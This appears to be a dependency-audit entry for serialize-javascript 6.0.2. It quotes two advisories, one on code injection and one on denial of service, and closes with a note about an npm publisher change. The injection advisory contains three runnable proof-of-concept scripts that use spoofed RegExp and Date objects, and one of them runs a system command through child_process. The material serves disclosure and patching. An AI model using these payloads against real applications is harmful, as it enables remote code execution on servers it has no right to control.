serialize-javascript @6.0.2

[Always reject] CVSS 8.1 (HIGH) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H ### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

[Always reject] CVSS 5.9 (MEDIUM) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H ### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.

This version was published by a different npm account than previous versions on 2024-01-09. This could indicate a legitimate maintainer transition or an account compromise.

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